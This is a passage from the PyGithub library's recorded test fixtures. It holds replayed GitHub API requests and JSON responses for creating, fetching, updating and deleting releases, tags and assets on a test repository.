{"url":"https://api.github.com/repos/rickrickston123/RepoTest/releases/28553917","assets_url":"https://api.github.com/repos/rickrickston123/RepoTest/releases/28553917/assets","upload_url":"https://uploads.github.com/repos/rickrickston123/RepoTest/releases/28553917/assets{?name,label}","html_url":"https://github.com/rickrickston123/RepoTest/releases/tag/v1.25.2","id":28553917,"node_id":"MDc6UmVsZWFzZTI4NTUzOTE3","tag_name":"v1.25.2","target_commitish":"813da528da46ef4cbb28d2018eaa6d4b3d56f40f","name":"release title","draft":false,"author":{"login":"rickrickston123","id":64711998,"node_id":"MDQ6VXNlcjY0NzExOTk4","avatar_url":"https://avatars0.githubusercontent.com/u/64711998?v=4","gravatar_id":"","url":"https://api.github.com/users/rickrickston123","html_url":"https://github.com/rickrickston123","followers_url":"https://api.github.com/users/rickrickston123/followers","following_url":"https://api.github.com/users/rickrickston123/following{/other_user}","gists_url":"https://api.github.com/users/rickrickston123/gists{/gist_id}","starred_url":"https://api.github.com/users/rickrickston123/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/rickrickston123/subscriptions","organizations_url":"https://api.github.com/users/rickrickston123/orgs","repos_url":"https://api.github.com/users/rickrickston123/repos","events_url":"https://api.github.com/users/rickrickston123/events{/privacy}","received_events_url":"https://api.github.com/users/rickrickston123/received_events","type":"User","site_admin":false},"prerelease":false,"created_at":"2020-07-12T07:34:42Z","published_at":"2020-07-14T17:14:43Z","assets":[],"tarball_url":"https://api.github.com/repos/rickrickston123/RepoTest/tarball/v1.25.2","zipball_url":"https://api.github.com/repos/rickrickston123/RepoTest/zipball/v1.25.2","body":"release message"} https DELETE api.github.com None /repos/rickrickston123/RepoTest/releases/28553917 {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 204 [('Server', 'GitHub.com'), ('Date', 'Tue, 14 Jul 2020 17:14:44 GMT'), ('Status', '204 No Content'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4793'), ('X-RateLimit-Reset', '1594749126'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Vary', 'Accept-Encoding, Accept, X-Requested-With'), ('X-GitHub-Request-Id', '87CE:72C3:9AEB63:161347B:5F0DE804')] https GET api.github.com None /repos/rickrickston123/RepoTest/releases/28553917 {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 404 [('Server', 'GitHub.com'), ('Date', 'Tue, 14 Jul 2020 17:14:44 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Status', '404 Not Found'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4792'), ('X-RateLimit-Reset', '1594749125'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Vary', 'Accept-Encoding, Accept, X-Requested-With'), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', '87D8:5BC1:142E2AF:2093284:5F0DE804')] {"message":"Not Found","documentation_url":"https://developer.github.com/v3/repos/releases/#get-a-single-release"} ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/GitRelease.testGetAssets.txt0000644000175100001660000001320414756101563023544 0ustar00runnerdockerhttps GET api.github.com None /repos/rickrickston123/RepoTest/releases/28524234/assets {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('Server', 'GitHub.com'), ('Date', 'Tue, 14 Jul 2020 17:14:46 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Status', '200 OK'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4788'), ('X-RateLimit-Reset', '1594749126'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"c449792f39dd324adcc99059786c1459"'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', '87FA:3181:15FBDD:42A6CB:5F0DE806')] [{"url":"https://api.github.com/repos/rickrickston123/RepoTest/releases/assets/22848494","id":22848494,"node_id":"MDEyOlJlbGVhc2VBc3NldDIyODQ4NDk0","name":"fact","label":null,"uploader":{"login":"rickrickston123","id":64711998,"node_id":"MDQ6VXNlcjY0NzExOTk4","avatar_url":"https://avatars0.githubusercontent.com/u/64711998?v=4","gravatar_id":"","url":"https://api.github.com/users/rickrickston123","html_url":"https://github.com/rickrickston123","followers_url":"https://api.github.com/users/rickrickston123/followers","following_url":"https://api.github.com/users/rickrickston123/following{/other_user}","gists_url":"https://api.github.com/users/rickrickston123/gists{/gist_id}","starred_url":"https://api.github.com/users/rickrickston123/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/rickrickston123/subscriptions","organizations_url":"https://api.github.com/users/rickrickston123/orgs","repos_url":"https://api.github.com/users/rickrickston123/repos","events_url":"https://api.github.com/users/rickrickston123/events{/privacy}","received_events_url":"https://api.github.com/users/rickrickston123/received_events","type":"User","site_admin":false},"content_type":"application/octet-stream","state":"uploaded","size":40,"download_count":0,"created_at":"2020-07-14T00:58:17Z","updated_at":"2020-07-14T00:58:18Z","browser_download_url":"https://github.com/rickrickston123/RepoTest/releases/download/v1.0/fact"}] https GET api.github.com None /repos/rickrickston123/RepoTest/releases/assets/22848494 {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('Server', 'GitHub.com'), ('Date', 'Tue, 14 Jul 2020 17:14:46 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Status', '200 OK'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4787'), ('X-RateLimit-Reset', '1594749125'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"b3f0eb974ec883013950ac7199769f0d"'), ('Last-Modified', 'Tue, 14 Jul 2020 00:58:18 GMT'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', '8806:102D:FA3648:1B9A394:5F0DE806')] {"url":"https://api.github.com/repos/rickrickston123/RepoTest/releases/assets/22848494","id":22848494,"node_id":"MDEyOlJlbGVhc2VBc3NldDIyODQ4NDk0","name":"fact","label":null,"uploader":{"login":"rickrickston123","id":64711998,"node_id":"MDQ6VXNlcjY0NzExOTk4","avatar_url":"https://avatars0.githubusercontent.com/u/64711998?v=4","gravatar_id":"","url":"https://api.github.com/users/rickrickston123","html_url":"https://github.com/rickrickston123","followers_url":"https://api.github.com/users/rickrickston123/followers","following_url":"https://api.github.com/users/rickrickston123/following{/other_user}","gists_url":"https://api.github.com/users/rickrickston123/gists{/gist_id}","starred_url":"https://api.github.com/users/rickrickston123/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/rickrickston123/subscriptions","organizations_url":"https://api.github.com/users/rickrickston123/orgs","repos_url":"https://api.github.com/users/rickrickston123/repos","events_url":"https://api.github.com/users/rickrickston123/events{/privacy}","received_events_url":"https://api.github.com/users/rickrickston123/received_events","type":"User","site_admin":false},"content_type":"application/octet-stream","state":"uploaded","size":40,"download_count":0,"created_at":"2020-07-14T00:58:17Z","updated_at":"2020-07-14T00:58:18Z","browser_download_url":"https://github.com/rickrickston123/RepoTest/releases/download/v1.0/fact"} ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/GitRelease.testGetLatestRelease.txt0000644000175100001660000001107714756101563025045 0ustar00runnerdockerhttps GET api.github.com None /repos/rickrickston123/RepoTest/releases/latest {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('Server', 'GitHub.com'), ('Date', 'Tue, 14 Jul 2020 17:14:48 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Status', '200 OK'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4783'), ('X-RateLimit-Reset', '1594749126'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"0af43d7e5a11d1f3e8c6a83292de12c0"'), ('Last-Modified', 'Tue, 14 Jul 2020 00:58:20 GMT'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', '8826:7A60:98DACD:15114C0:5F0DE808')] {"url":"https://api.github.com/repos/rickrickston123/RepoTest/releases/28524234","assets_url":"https://api.github.com/repos/rickrickston123/RepoTest/releases/28524234/assets","upload_url":"https://uploads.github.com/repos/rickrickston123/RepoTest/releases/28524234/assets{?name,label}","html_url":"https://github.com/rickrickston123/RepoTest/releases/tag/v1.0","id":28524234,"node_id":"MDc6UmVsZWFzZTI4NTI0MjM0","tag_name":"v1.0","target_commitish":"master","name":"Test","draft":false,"author":{"login":"rickrickston123","id":64711998,"node_id":"MDQ6VXNlcjY0NzExOTk4","avatar_url":"https://avatars0.githubusercontent.com/u/64711998?v=4","gravatar_id":"","url":"https://api.github.com/users/rickrickston123","html_url":"https://github.com/rickrickston123","followers_url":"https://api.github.com/users/rickrickston123/followers","following_url":"https://api.github.com/users/rickrickston123/following{/other_user}","gists_url":"https://api.github.com/users/rickrickston123/gists{/gist_id}","starred_url":"https://api.github.com/users/rickrickston123/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/rickrickston123/subscriptions","organizations_url":"https://api.github.com/users/rickrickston123/orgs","repos_url":"https://api.github.com/users/rickrickston123/repos","events_url":"https://api.github.com/users/rickrickston123/events{/privacy}","received_events_url":"https://api.github.com/users/rickrickston123/received_events","type":"User","site_admin":false},"prerelease":false,"created_at":"2020-07-12T07:34:42Z","published_at":"2020-07-14T00:58:20Z","assets":[{"url":"https://api.github.com/repos/rickrickston123/RepoTest/releases/assets/22848494","id":22848494,"node_id":"MDEyOlJlbGVhc2VBc3NldDIyODQ4NDk0","name":"fact","label":null,"uploader":{"login":"rickrickston123","id":64711998,"node_id":"MDQ6VXNlcjY0NzExOTk4","avatar_url":"https://avatars0.githubusercontent.com/u/64711998?v=4","gravatar_id":"","url":"https://api.github.com/users/rickrickston123","html_url":"https://github.com/rickrickston123","followers_url":"https://api.github.com/users/rickrickston123/followers","following_url":"https://api.github.com/users/rickrickston123/following{/other_user}","gists_url":"https://api.github.com/users/rickrickston123/gists{/gist_id}","starred_url":"https://api.github.com/users/rickrickston123/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/rickrickston123/subscriptions","organizations_url":"https://api.github.com/users/rickrickston123/orgs","repos_url":"https://api.github.com/users/rickrickston123/repos","events_url":"https://api.github.com/users/rickrickston123/events{/privacy}","received_events_url":"https://api.github.com/users/rickrickston123/received_events","type":"User","site_admin":false},"content_type":"application/octet-stream","state":"uploaded","size":40,"download_count":0,"created_at":"2020-07-14T00:58:17Z","updated_at":"2020-07-14T00:58:18Z","browser_download_url":"https://github.com/rickrickston123/RepoTest/releases/download/v1.0/fact"}],"tarball_url":"https://api.github.com/repos/rickrickston123/RepoTest/tarball/v1.0","zipball_url":"https://api.github.com/repos/rickrickston123/RepoTest/zipball/v1.0","body":"Body"} ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/GitRelease.testGetRelease.txt0000644000175100001660000001110114756101563023654 0ustar00runnerdockerhttps GET api.github.com None /repos/rickrickston123/RepoTest/releases/tags/v1.0 {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('Server', 'GitHub.com'), ('Date', 'Tue, 14 Jul 2020 17:14:50 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Status', '200 OK'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4779'), ('X-RateLimit-Reset', '1594749126'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"0af43d7e5a11d1f3e8c6a83292de12c0"'), ('Last-Modified', 'Tue, 14 Jul 2020 00:58:20 GMT'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', '884A:6F6A:3D33F5:8F513F:5F0DE80A')] {"url":"https://api.github.com/repos/rickrickston123/RepoTest/releases/28524234","assets_url":"https://api.github.com/repos/rickrickston123/RepoTest/releases/28524234/assets","upload_url":"https://uploads.github.com/repos/rickrickston123/RepoTest/releases/28524234/assets{?name,label}","html_url":"https://github.com/rickrickston123/RepoTest/releases/tag/v1.0","id":28524234,"node_id":"MDc6UmVsZWFzZTI4NTI0MjM0","tag_name":"v1.0","target_commitish":"master","name":"Test","draft":false,"author":{"login":"rickrickston123","id":64711998,"node_id":"MDQ6VXNlcjY0NzExOTk4","avatar_url":"https://avatars0.githubusercontent.com/u/64711998?v=4","gravatar_id":"","url":"https://api.github.com/users/rickrickston123","html_url":"https://github.com/rickrickston123","followers_url":"https://api.github.com/users/rickrickston123/followers","following_url":"https://api.github.com/users/rickrickston123/following{/other_user}","gists_url":"https://api.github.com/users/rickrickston123/gists{/gist_id}","starred_url":"https://api.github.com/users/rickrickston123/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/rickrickston123/subscriptions","organizations_url":"https://api.github.com/users/rickrickston123/orgs","repos_url":"https://api.github.com/users/rickrickston123/repos","events_url":"https://api.github.com/users/rickrickston123/events{/privacy}","received_events_url":"https://api.github.com/users/rickrickston123/received_events","type":"User","site_admin":false},"prerelease":false,"created_at":"2020-07-12T07:34:42Z","published_at":"2020-07-14T00:58:20Z","assets":[{"url":"https://api.github.com/repos/rickrickston123/RepoTest/releases/assets/22848494","id":22848494,"node_id":"MDEyOlJlbGVhc2VBc3NldDIyODQ4NDk0","name":"fact","label":null,"uploader":{"login":"rickrickston123","id":64711998,"node_id":"MDQ6VXNlcjY0NzExOTk4","avatar_url":"https://avatars0.githubusercontent.com/u/64711998?v=4","gravatar_id":"","url":"https://api.github.com/users/rickrickston123","html_url":"https://github.com/rickrickston123","followers_url":"https://api.github.com/users/rickrickston123/followers","following_url":"https://api.github.com/users/rickrickston123/following{/other_user}","gists_url":"https://api.github.com/users/rickrickston123/gists{/gist_id}","starred_url":"https://api.github.com/users/rickrickston123/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/rickrickston123/subscriptions","organizations_url":"https://api.github.com/users/rickrickston123/orgs","repos_url":"https://api.github.com/users/rickrickston123/repos","events_url":"https://api.github.com/users/rickrickston123/events{/privacy}","received_events_url":"https://api.github.com/users/rickrickston123/received_events","type":"User","site_admin":false},"content_type":"application/octet-stream","state":"uploaded","size":40,"download_count":0,"created_at":"2020-07-14T00:58:17Z","updated_at":"2020-07-14T00:58:18Z","browser_download_url":"https://github.com/rickrickston123/RepoTest/releases/download/v1.0/fact"}],"tarball_url":"https://api.github.com/repos/rickrickston123/RepoTest/tarball/v1.0","zipball_url":"https://api.github.com/repos/rickrickston123/RepoTest/zipball/v1.0","body":"Body"} ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/GitRelease.testUpdate.txt0000644000175100001660000004476314756101563023102 0ustar00runnerdockerhttps GET api.github.com None /repos/rickrickston123/RepoTest/commits {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('Server', 'GitHub.com'), ('Date', 'Tue, 14 Jul 2020 17:14:52 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Status', '200 OK'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4775'), ('X-RateLimit-Reset', '1594749126'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"1ecac7ea1780c4d77d519466d2894d79"'), ('Last-Modified', 'Sun, 12 Jul 2020 07:34:42 GMT'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', '886A:397E:178DB0:411DD5:5F0DE80B')] [{"sha":"813da528da46ef4cbb28d2018eaa6d4b3d56f40f","node_id":"MDY6Q29tbWl0Mjc5MDE1Mjg2OjgxM2RhNTI4ZGE0NmVmNGNiYjI4ZDIwMThlYWE2ZDRiM2Q1NmY0MGY=","commit":{"author":{"name":"rickrickston123","email":"64711998+rickrickston123@users.noreply.github.com","date":"2020-07-12T07:34:42Z"},"committer":{"name":"GitHub","email":"noreply@github.com","date":"2020-07-12T07:34:42Z"},"message":"Initial commit","tree":{"sha":"c56099e10207d5a7021b4485eda0afc18946727a","url":"https://api.github.com/repos/rickrickston123/RepoTest/git/trees/c56099e10207d5a7021b4485eda0afc18946727a"},"url":"https://api.github.com/repos/rickrickston123/RepoTest/git/commits/813da528da46ef4cbb28d2018eaa6d4b3d56f40f","comment_count":0,"verification":{"verified":true,"reason":"valid","signature":"-----BEGIN PGP SIGNATURE-----\n\nwsBcBAABCAAQBQJfCr0SCRBK7hj4Ov3rIwAAdHIIAEPYazT1x/QUozS6/rF1YLeX\nK50UqPFfnWA1IRwAVdYEy6Nwmb7bNuIeTna/GFi7BybozBOk2HMfQW2dhoZD35FC\nmGTk6mcy+hyaCrO7sGmCGhbVdcY86X3WxrRABzUqBGeo29CnEtjOfPnmBuW5MTNr\nnq3TBU7mjWZi09ivXIrfYWqxCEpMm4vHRPBZSgzuj/IgZLmQccgIyZu4v0GNkGQk\ngVceI/P849EX+rVSG73YAntlZIJaivqgZO5fvsdQjz92PAMM7bAKf1u7Vg4bt4Yw\n0YSAcXrFPky+kPE6CoXjx2uWVdyISs7RRWJS034z64nckExs99eKbCryjhBJwIA=\n=6HU0\n-----END PGP SIGNATURE-----\n","payload":"tree c56099e10207d5a7021b4485eda0afc18946727a\nauthor rickrickston123 <64711998+rickrickston123@users.noreply.github.com> 1594539282 -0700\ncommitter GitHub 1594539282 -0700\n\nInitial commit"}},"url":"https://api.github.com/repos/rickrickston123/RepoTest/commits/813da528da46ef4cbb28d2018eaa6d4b3d56f40f","html_url":"https://github.com/rickrickston123/RepoTest/commit/813da528da46ef4cbb28d2018eaa6d4b3d56f40f","comments_url":"https://api.github.com/repos/rickrickston123/RepoTest/commits/813da528da46ef4cbb28d2018eaa6d4b3d56f40f/comments","author":{"login":"rickrickston123","id":64711998,"node_id":"MDQ6VXNlcjY0NzExOTk4","avatar_url":"https://avatars0.githubusercontent.com/u/64711998?v=4","gravatar_id":"","url":"https://api.github.com/users/rickrickston123","html_url":"https://github.com/rickrickston123","followers_url":"https://api.github.com/users/rickrickston123/followers","following_url":"https://api.github.com/users/rickrickston123/following{/other_user}","gists_url":"https://api.github.com/users/rickrickston123/gists{/gist_id}","starred_url":"https://api.github.com/users/rickrickston123/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/rickrickston123/subscriptions","organizations_url":"https://api.github.com/users/rickrickston123/orgs","repos_url":"https://api.github.com/users/rickrickston123/repos","events_url":"https://api.github.com/users/rickrickston123/events{/privacy}","received_events_url":"https://api.github.com/users/rickrickston123/received_events","type":"User","site_admin":false},"committer":{"login":"web-flow","id":19864447,"node_id":"MDQ6VXNlcjE5ODY0NDQ3","avatar_url":"https://avatars3.githubusercontent.com/u/19864447?v=4","gravatar_id":"","url":"https://api.github.com/users/web-flow","html_url":"https://github.com/web-flow","followers_url":"https://api.github.com/users/web-flow/followers","following_url":"https://api.github.com/users/web-flow/following{/other_user}","gists_url":"https://api.github.com/users/web-flow/gists{/gist_id}","starred_url":"https://api.github.com/users/web-flow/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/web-flow/subscriptions","organizations_url":"https://api.github.com/users/web-flow/orgs","repos_url":"https://api.github.com/users/web-flow/repos","events_url":"https://api.github.com/users/web-flow/events{/privacy}","received_events_url":"https://api.github.com/users/web-flow/received_events","type":"User","site_admin":false},"parents":[]}] https POST api.github.com None /repos/rickrickston123/RepoTest/git/tags {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python', 'Content-Type': 'application/json'} {"tag": "v1.25.2", "message": "tag message", "object": "813da528da46ef4cbb28d2018eaa6d4b3d56f40f", "type": "commit"} 201 [('Server', 'GitHub.com'), ('Date', 'Tue, 14 Jul 2020 17:14:52 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Content-Length', '694'), ('Status', '201 Created'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4774'), ('X-RateLimit-Reset', '1594749125'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', '"d0915b29c044b38a347d6640e4ce8fc2"'), ('Location', 'https://api.github.com/repos/rickrickston123/RepoTest/git/tags/295f570f9dd90e0318f018162906b8048fdbee5d'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('X-GitHub-Request-Id', '8872:5C87:11DE0C4:1D86EB8:5F0DE80C')] {"node_id":"MDM6VGFnMjc5MDE1Mjg2OjI5NWY1NzBmOWRkOTBlMDMxOGYwMTgxNjI5MDZiODA0OGZkYmVlNWQ=","sha":"295f570f9dd90e0318f018162906b8048fdbee5d","url":"https://api.github.com/repos/rickrickston123/RepoTest/git/tags/295f570f9dd90e0318f018162906b8048fdbee5d","tagger":{"name":"rickrickston123","email":"64711998+rickrickston123@users.noreply.github.com","date":"2020-07-14T17:14:52Z"},"object":{"sha":"813da528da46ef4cbb28d2018eaa6d4b3d56f40f","type":"commit","url":"https://api.github.com/repos/rickrickston123/RepoTest/git/commits/813da528da46ef4cbb28d2018eaa6d4b3d56f40f"},"tag":"v1.25.2","message":"tag message","verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}} https POST api.github.com None /repos/rickrickston123/RepoTest/releases {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python', 'Content-Type': 'application/json'} {"tag_name": "v1.25.2", "draft": false, "prerelease": false, "generate_release_notes": false, "name": "release title", "body": "release message", "target_commitish": "813da528da46ef4cbb28d2018eaa6d4b3d56f40f", "make_latest": "true"} 201 [('Server', 'GitHub.com'), ('Date', 'Tue, 14 Jul 2020 17:14:53 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Content-Length', '1839'), ('Status', '201 Created'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4773'), ('X-RateLimit-Reset', '1594749126'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', '"db319cddcbeed55996b30064eb2bf456"'), ('Location', 'https://api.github.com/repos/rickrickston123/RepoTest/releases/28553923'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('X-GitHub-Request-Id', '8882:6F6D:F27F47:1A3F229:5F0DE80D')] {"url":"https://api.github.com/repos/rickrickston123/RepoTest/releases/28553923","assets_url":"https://api.github.com/repos/rickrickston123/RepoTest/releases/28553923/assets","upload_url":"https://uploads.github.com/repos/rickrickston123/RepoTest/releases/28553923/assets{?name,label}","html_url":"https://github.com/rickrickston123/RepoTest/releases/tag/v1.25.2","id":28553923,"node_id":"MDc6UmVsZWFzZTI4NTUzOTIz","tag_name":"v1.25.2","target_commitish":"813da528da46ef4cbb28d2018eaa6d4b3d56f40f","name":"release 